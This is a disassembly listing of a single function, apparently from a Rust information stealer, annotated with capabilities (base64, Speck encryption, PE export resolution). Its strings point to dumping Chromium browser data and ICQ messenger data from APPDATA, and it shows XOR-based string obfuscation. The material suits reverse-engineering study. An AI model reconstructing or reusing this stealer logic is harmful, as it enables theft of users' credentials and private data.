Function at 0x140119c80
Capabilities:
Encode data using base64
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x648
movdqa xmmword [rsp + 0x630], xmm8
movdqa xmmword [rsp + 0x620], xmm7
movaps xmmword [rsp + 0x610], xmm6
mov qword [rsp + 0x278], r8
mov qword [rsp + 0x1d8], rdx
mov qword [rsp + 0x3d8], rcx
lea rax, [0x14043aa3b]
lea rsi, [rsp + 0x30]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xcd3b082ea9c39214
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140140a1a
and dword [rsi + 8], 0
and qword [rsi], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x1404465a5]
test r8b, 1
je 0x140119da8
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rsi, rdx
or rsi, 4
movzx esi, byte [rsi + rcx]
mov rdi, rdx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov rbx, rdx
or rbx, 6
mov r14, rdx
or r14, 7
movzx ebx, byte [rbx + rcx]
movzx r14d, byte [r14 + rcx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x30], r8
mov edx, 8
xor r8d, r8d
jmp 0x140119d01
mov edx, 8
cmp rdx, 0xb
ja 0x140119ddb
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xb5000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x140119dad
lea rdi, [rsp + 0x30]
mov eax, dword [rdi + 8]
lea rsi, [rsp + 0x3e0]
mov dword [rsi + 8], eax
mov rax, qword [rdi]
mov qword [rsi], rax
mov r8d, 0xc
mov rcx, rdi
mov rdx, rsi
call fcn.140253320
lea r8, str.src_chromium_dumper.rs
lea rbx, [rsp + 0x1e0]
mov rcx, rbx
mov rdx, rdi
call fcn.14012d60f
mov rax, qword [rsp + 0x1d8]
lea rcx, [rax + 0x18]
lea rdx, [rsp + 0x288]
mov qword [rsp + 0x280], rcx
mov qword [rdx], rcx
lea rcx, [rsp + 0x1a0]
mov qword [rcx], rax
mov qword [rdi], rbx
lea rax, [0x140007e8f]
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rdx
lea rax, [0x1401675d8]
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rcx
mov qword [rdi + 0x28], rax
mov qword [rsp + 0x20], 3
lea rdx, [0x1404461d8]
lea r15, [rsp + 0x110]
lea r14, [rsp + 0x30]
mov r8d, 4
mov rcx, r15
mov r9, r14
call fcn.140004cc3
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, r15
call fcn.14012d661
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.14015e77d
mov r15, qword [rdi]
mov r12, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rcx, r15
call fcn.14012d6e9
mov ebp, eax
mov rcx, r15
mov rdx, r12
call fcn.14015e77d
test bpl, bpl
jne 0x140119fde
lea rdx, str.APPDATAsrc_messengers_icq.rs
lea r15, [rsp + 0x30]
mov r8d, 7
mov rcx, r15
call fcn.140253320
lea r8, str.src_chromium_dumper.rs
mov rcx, rbx
mov rdx, r15
call fcn.14012d60f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x3e0], rax
mov qword [r15], rbx
lea rax, [0x140007e8f]
mov qword [r15 + 8], rax
lea rax, [rsp + 0x1a0]
mov qword [r15 + 0x10], rax
lea rax, [0x1401675d8]
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], rsi
mov qword [r15 + 0x28], rax
mov qword [rsp + 0x20], 3
lea rdx, [0x1404461d8]
lea r12, [rsp + 0x110]
lea r15, [rsp + 0x30]
mov r8d, 4
mov rcx, r12
mov r9, r15
call fcn.140004cc3
lea r13, [rsp + 0x2c0]
mov rcx, r13
mov rdx, r12
call fcn.14012d661
mov rcx, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
call fcn.14015e77d
mov r12, qword [r13]
mov rbp, qword [r13 + 8]
mov rdx, qword [r13 + 0x10]
mov rcx, r12
call fcn.14012d6e9
mov r13d, eax
mov rcx, r12
mov rdx, rbp
call fcn.14015e77d
test r13b, r13b
je 0x14011e2d4
lea rax, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_image_0.24.7_._src_codecs_webp_vp8.rs
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x40faeff2af155938
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013dd8d
and qword [rsp + 0x30], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x1404465e8]
lea rbp, [0x140007e8f]
test r8b, 1
je 0x14011a0ca
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rbx, rcx
or rbx, 4
movzx ebx, byte [rbx + rdx]
mov r14, rcx
or r14, 5
movzx r14d, byte [r14 + rdx]
mov r15, rcx
or r15, 6
mov r12, rcx
or r12, 7
movzx r15d, byte [r15 + rdx]
movzx r12d, byte [r12 + rdx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r14
or r8, r15
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], r8
mov ecx, 8
xor r8d, r8d
jmp 0x14011a021
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x85d6
lea rbx, [rsp + 0x30]
mov word [rbx + 8], ax
xor cl, 0xee
mov byte [rbx + 0xa], cl
mov rax, qword [rbx]
mov qword [rsp + 0x3e0], rax
mov eax, dword [rbx + 7]
mov dword [rsp + 0x3e7], eax
mov qword [rsp + 0x2c0], rsi
mov qword [rsp + 0x2c8], 0xb
lea r9, [rsp + 0x110]
mov rax, qword [rsp + 0x278]
mov qword [r9], rax
mov qword [r9 + 8], rbp
mov qword [r9 + 0x10], rdi
lea rax, [0x140076e7c]
mov qword [r9 + 0x18], rax
mov qword [rsp + 0x20], 2
lea rdx, [0x140446248]
mov r8d, 2
mov rcx, rbx
call fcn.140004cc3
lea r14, [rsp + 0x1e0]
mov rcx, r14
mov rdx, rbx
call fcn.14012d661
mov r15, qword [r14]
mov r12, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
mov rcx, r15
call fcn.14013be75
lea rdx, str.src_chromium_dumper.rs
mov rcx, rax
call fcn.14012d719
mov rcx, r15
mov rdx, r12
call fcn.14015e77d
lea rax, [0x14043ab57]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x92d95be2ac024e36
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.14013ed0c
and qword [rbx], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x140446610]
test r8b, 1
je 0x14011a26e
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rbx, rcx
or rbx, 4
movzx ebx, byte [rbx + rdx]
mov r14, rcx
or r14, 5
movzx r14d, byte [r14 + rdx]
mov r15, rcx
or r15, 6
mov r12, rcx
or r12, 7
movzx r15d, byte [r15 + rdx]
movzx r12d, byte [r12 + rdx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r14
or r8, r15
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], r8
mov ecx, 8
xor r8d, r8d
jmp 0x14011a1c5
mov al, byte [rax + 8]
xor al, 0xbf
lea rbx, [rsp + 0x30]
mov rcx, qword [rbx]
mov qword [rsp + 0x3e0], rcx
mov byte [rsp + 0x3e8], al
mov qword [rsp + 0x2c0], rsi
mov qword [rsp + 0x2c8], 9
lea r9, [rsp + 0x110]
mov rax, qword [rsp + 0x278]
mov qword [r9], rax
mov qword [r9 + 8], rbp
mov qword [r9 + 0x10], rdi
lea rax, [0x140076e7c]
mov qword [r9 + 0x18], rax
mov qword [rsp + 0x20], 2
lea rdx, [0x140446248]
mov r8d, 2
mov rcx, rbx
call fcn.140004cc3
lea r14, [rsp + 0x1e0]
mov rcx, r14
mov rdx, rbx
call fcn.14012d661
mov r15, qword [r14]
mov r12, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
mov rcx, r15
call fcn.14013be75
lea rdx, str.src_chromium_dumper.rs
mov rcx, rax
call fcn.14012d719
mov rcx, r15
mov rdx, r12
call fcn.14015e77d
lea rax, [0x1404409ff]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0xd3b451123bf71f24
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.14013dd42
and dword [rbx + 8], 0
and qword [rbx], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x140446638]
test r8b, 1
je 0x14011a401
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rbx, rdx
or rbx, 4
movzx ebx, byte [rbx + rcx]
mov r14, rdx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r12, rdx
or r12, 7
mov r15, rdx
or r15, 6
movzx r15d, byte [r15 + rcx]
movzx r12d, byte [r12 + rcx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r14
or r8, r15
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x30], r8
mov edx, 8
xor r8d, r8d
jmp 0x14011a358
mov edx, 8
cmp rdx, 0xb
ja 0x14011a434
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x6f000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x14011a406
movzx eax, word [rax + 0xc]
xor eax, 0x2a0f
lea rbx, [rsp + 0x30]
mov word [rbx + 0xc], ax
mov rax, qword [rbx]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rbx + 6]
mov qword [rsp + 0x3e6], rax
mov qword [rsp + 0x2c0], rsi
mov qword [rsp + 0x2c8], 0xe
lea r9, [rsp + 0x110]
mov rax, qword [rsp + 0x278]
mov qword [r9], rax
mov qword [r9 + 8], rbp
mov qword [r9 + 0x10], rdi
lea rax, [0x140076e7c]
mov qword [r9 + 0x18], rax
mov qword [rsp + 0x20], 2
lea rdx, [0x140446248]
mov r8d, 2
mov rcx, rbx
call fcn.140004cc3
lea r14, [rsp + 0x1e0]
mov rcx, r14
mov rdx, rbx
call fcn.14012d661
mov r15, qword [r14]
mov r12, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
mov rcx, r15
call fcn.14013be75
lea rdx, str.src_chromium_dumper.rs
mov rcx, rax
call fcn.14012d719
mov rcx, r15
mov rdx, r12
call fcn.14015e77d
lea rax, [0x14043dced]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x384a6f6918c51519
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.14013d88f
and qword [rbx], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x140446660]
test r8b, 1
je 0x14011a5d0
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rbx, rcx
or rbx, 4
movzx ebx, byte [rbx + rdx]
mov r14, rcx
or r14, 5
movzx r14d, byte [r14 + rdx]
mov r15, rcx
or r15, 6
mov r12, rcx
or r12, 7
movzx r15d, byte [r15 + rdx]
movzx r12d, byte [r12 + rdx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r14
or r8, r15
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], r8
mov ecx, 8
xor r8d, r8d
jmp 0x14011a527
movzx eax, word [rax + 8]
xor eax, 0xa4b6
lea rbx, [rsp + 0x30]
mov rcx, qword [rbx]
mov qword [rsp + 0x3e0], rcx
mov word [rsp + 0x3e8], ax
mov qword [rsp + 0x2c0], rsi
mov qword [rsp + 0x2c8], 0xa
lea r9, [rsp + 0x110]
mov rax, qword [rsp + 0x278]
mov qword [r9], rax
mov qword [r9 + 8], rbp
mov qword [r9 + 0x10], rdi
lea rax, [0x140076e7c]
mov qword [r9 + 0x18], rax
mov qword [rsp + 0x20], 2
lea rdx, [0x140446248]
mov r8d, 2
mov rcx, rbx
call fcn.140004cc3
lea r14, [rsp + 0x1e0]
mov rcx, r14
mov rdx, rbx
call fcn.14012d661
mov rsi, qword [r14]
mov rdi, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
mov rcx, rsi
call fcn.14013be75
lea rdx, str.src_chromium_dumper.rs
mov rcx, rax
call fcn.14012d719
mov rcx, rsi
mov rdx, rdi
call fcn.14015e77d
lea rcx, [0x1403a0090]
call fcn.140171bf7
mov qword [0x1403a0090], 8
pxor xmm0, xmm0
movdqu xmmword [0x1403a0098], xmm0
lea rax, [0x1404485ba]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x889ebc2711c4f3ef
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.140140f7a
and dword [rbx + 8], 0
and qword [rbx], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x140446688]
test r8b, 1
je 0x14011a789
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rsi, rdx
or rsi, 4
movzx esi, byte [rsi + rcx]
mov rdi, rdx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov rbx, rdx
or rbx, 6
mov r15, rdx
or r15, 7
movzx ebx, byte [rbx + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl rbx, 0x30
or rbx, r15
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x30], r8
mov edx, 8
xor r8d, r8d
jmp 0x14011a6e2
mov edx, 8
cmp rdx, 0xb
ja 0x14011a7bc
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xe8000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x14011a78e
lea rsi, [rsp + 0x30]
mov eax, dword [rsi + 8]
lea rdx, [rsp + 0x3e0]
mov dword [rdx + 8], eax
mov rax, qword [rsi]
mov qword [rdx], rax
mov r8d, 0xc
mov rcx, rsi
call fcn.140253320
lea r8, str.src_chromium_dumper.rs
mov rcx, r14
mov rdx, rsi
call fcn.14012d60f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a0], rax
mov qword [rsi], r14
mov qword [rsi + 8], rbp
lea rax, [rsp + 0x288]
mov qword [rsi + 0x10], rax
lea rax, [0x1401675d8]
mov qword [rsi + 0x18], rax
lea rcx, [rsp + 0x1a0]
mov qword [rsi + 0x20], rcx
mov qword [rsi + 0x28], rax
mov qword [rsp + 0x20], 3
lea rdx, [0x1404461d8]
lea r13, [rsp + 0x110]
lea rsi, [rsp + 0x30]
mov r8d, 4
mov rcx, r13
mov r9, rsi
call fcn.140004cc3
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
mov rdx, r13
call fcn.14012d661
mov rcx, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
call fcn.14015e77d
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rsp + 0x590], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x5a0], rax
lea rax, [0x1404443d4]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x24e6ca22ce4d15bc
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013eaa8
and qword [rsi + 0x10], 0
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
xor ecx, ecx
lea rdx, [0x1404466e0]
cmp rcx, 0x17
ja 0x14011a903
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], r8
add rcx, 8
jmp 0x14011a8ea
movzx eax, word [rax + 0x18]
xor eax, 0xff07
lea r15, [rsp + 0x30]
mov word [r15 + 0x18], ax
movaps xmm0, xmmword [r15]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [r15 + 0xa]
mov qword [rsp + 0x1ea], rax
mov eax, dword [r15 + 0x12]
mov dword [rsp + 0x1f2], eax
movzx eax, word [r15 + 0x16]
mov word [rsp + 0x1f6], ax
movzx eax, word [r15 + 0x18]
mov word [rsp + 0x1f8], ax
mov qword [rsp + 0x2c0], r14
mov qword [rsp + 0x2c8], 0x1a
lea rsi, [rsp + 0x110]
lea rbx, [rsp + 0x2c0]
mov qword [rsi], rbx
lea rax, [0x140076e7c]
mov qword [rsi + 8], rax
lea rdi, [rsp + 0x590]
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rbp
mov qword [rsp + 0x20], 2
lea rdx, [0x1404466b0]
mov r8d, 3
mov rcx, r15
mov r9, r13
call fcn.140004cc3
mov rcx, r15
call fcn.1402594b0
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
movaps xmm0, xmmword [rdi]
movaps xmmword [rsi], xmm0
lea rbp, [rsp + 0x30]
mov rcx, rbp
mov rdx, rsi
call fcn.14014185b
mov rax, qword [rbp + 0x38]
cmp rax, 5
mov ecx, 4
cmovb rax, rcx
mov qword [rbp + 0x40], rax
lea rdx, [rsp + 0x110]
mov ecx, 0xa
mov rdi, rdx
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rsp + 0x408], xmm0
movups xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movups xmmword [rsp + 0x3f8], xmm3
movups xmmword [rsp + 0x3e8], xmm2
xorps xmm2, xmm2
movups xmmword [rbp + 0x68], xmm2
movups xmmword [rbp + 0x80], xmm2
movups xmmword [rbp + 0x98], xmm2
movups xmmword [rbp + 0x40], xmm0
movdqu xmmword [rbp + 0x50], xmm1
movups xmmword [rbp + 0xa8], xmm2
and qword [rbp], 0
movups xmm0, xmmword [rsp + 0x3e0]
movups xmmword [rbp + 8], xmm0
movups xmm0, xmmword [rsp + 0x3f0]
movups xmmword [rbp + 0x18], xmm0
movdqu xmm0, xmmword [rsp + 0x400]
movdqu xmmword [rbp + 0x28], xmm0
mov rax, qword [rsp + 0x410]
mov qword [rbp + 0x38], rax
mov eax, 8
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x90], rax
add rdx, rax
mov qword [rsp + 0x1d0], rdx
add rax, rbx
mov qword [rsp + 0x270], rax
lea rbp, [0x14043d48e]
lea rbx, [0x140447ac8]
lea r12, [0x140447ad3]
lea rdi, [0x140007e8f]
lea rsi, [rsp + 0x30]
mov rcx, r14
mov rdx, rsi
call fcn.1402814e5
cmp dword [rsp + 0x1e0], 3
je 0x14011bc6f
mov rcx, r13
mov rdx, r14
call fcn.14012d74e
cmp qword [rsp + 0x110], 2
je 0x14011aada
mov ecx, 0xf
mov rdi, qword [rsp + 0x270]
mov rsi, qword [rsp + 0x1d0]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rsp + 0x308]
mov r15, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x318]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x110], rbp
mov rcx, qword [rsp + 0x110]
movabs rax, 0xe6cd828218d93aa4
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.14014053d
and qword [rsp + 0x110], 0
mov dl, 1
xor ebp, ebp
test dl, 1
je 0x14011ac3a
movzx r8d, byte [rbp + rbx]
mov rdx, rbp
or rdx, 1
movzx edx, byte [rdx + rbx]
mov r9, rbp
or r9, 2
movzx r9d, byte [r9 + rbx]
mov r10, rbp
or r10, 3
movzx r10d, byte [r10 + rbx]
mov r11, rbp
or r11, 4
movzx r11d, byte [r11 + rbx]
mov rsi, rbp
or rsi, 5
movzx esi, byte [rsi + rbx]
mov rdi, rbp
or rdi, 6
mov rcx, rbp
or rcx, 7
movzx edi, byte [rdi + rbx]
movzx ecx, byte [rcx + rbx]
shl rcx, 0x38
shl rdi, 0x30
or rdi, rcx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rbp]
mov qword [rsp + rbp + 0x110], rdx
mov ebp, 8
xor edx, edx
jmp 0x14011ab92
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0xab89
mov word [rsp + 0x118], ax
xor cl, 0xb8
mov byte [rsp + 0x11a], cl
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x340], rax
mov eax, dword [rsp + 0x117]
mov dword [rsp + 0x347], eax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 0xb
lea rax, [rsp + 0x288]
mov qword [rsp + 0x1e0], rax
lea rax, case.0x140256bd0.271
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x1f0], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, r13
lea rdx, [0x140446248]
mov r9, r14
call fcn.140004cc3
lea rcx, [rsp + 0x2c0]
mov rdx, r13
call fcn.14012d661
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x290], rax
lea rax, [0x14043c752]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0x9267b7b6703c203f
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.14013e1ca
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011ae3e
movzx r8d, byte [rcx + r12]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r12]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r12]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r12]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r12]
mov rsi, rcx
or rsi, 5
movzx edi, byte [rsi + r12]
mov rsi, rcx
or rsi, 6
mov rbp, rcx
or rbp, 7
movzx esi, byte [rsi + r12]
movzx ebp, byte [rbp + r12]
shl rbp, 0x38
shl rsi, 0x30
or rsi, rbp
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, rsi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011ad92
mov al, byte [rax + 8]
xor al, 0x11
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x340], rcx
mov byte [rsp + 0x348], al
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 9
lea rax, [rsp + 0x288]
mov qword [rsp + 0x1e0], rax
lea rax, case.0x140256bd0.271
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x1f0], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, r13
lea rdx, [0x140446248]
mov r9, r14
call fcn.140004cc3
lea rcx, [rsp + 0x2c0]
mov rdx, r13
call fcn.14012d661
mov rbp, qword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x2b8]
call fcn.14012d6e9
test al, al
je 0x14011bc36
mov rcx, rbp
mov rdx, rdi
call fcn.14012d6e9
test al, al
je 0x14011bc36
mov rdi, qword [0x1403a0090]
mov rax, qword [0x1403a00a0]
mov qword [rsp + 0x268], rax
mov rcx, r13
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
mov rcx, r14
mov rdx, r13
call fcn.14000805b
mov qword [rsp + 0x2b8], rsi
mov rsi, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1f0]
mov rcx, rsi
mov r8, rdi
mov r9, qword [rsp + 0x268]
call fcn.14013c3c9
mov edi, eax
mov rdx, qword [rsp + 0x1e8]
mov rcx, rsi
mov rsi, qword [rsp + 0x2b8]
call fcn.14015e77d
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
call fcn.1400a290b
test dil, dil
jne 0x14011bc36
mov qword [rsp + 0x3b0], rbp
mov qword [rsp + 0x268], r15
mov rcx, r13
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
lea rcx, [rsp + 0x458]
mov rdx, r13
call fcn.14000805b
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
call fcn.1400a290b
mov rcx, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x468]
call fcn.14025a4c0
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov rcx, rax
call fcn.1400047ef
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x3b8], rax
mov qword [rsp + 0x3c0], rdx
lea rax, [0x140447f76]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0xc029c5e8acb241ff
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.14013d927
and dword [rsp + 0x118], 0
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011b159
lea r15, [0x140447b10]
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rbp, rcx
or rbp, 7
mov rdi, rcx
or rdi, 6
movzx edi, byte [rdi + r15]
movzx ebp, byte [rbp + r15]
shl rbp, 0x38
shl rdi, 0x30
or rdi, rbp
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011b0a6
mov ecx, 8
lea rbp, [0x140007e8f]
cmp rcx, 0xb
ja 0x14011b199
lea r8, [0x140447b10]
movzx edx, byte [rcx + r8 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r8]
add edx, r8d
add edx, 0x8a000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x110], edx
add rcx, 4
jmp 0x14011b165
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0xa288
mov word [rsp + 0x11c], ax
xor cl, 0x10
mov byte [rsp + 0x11e], cl
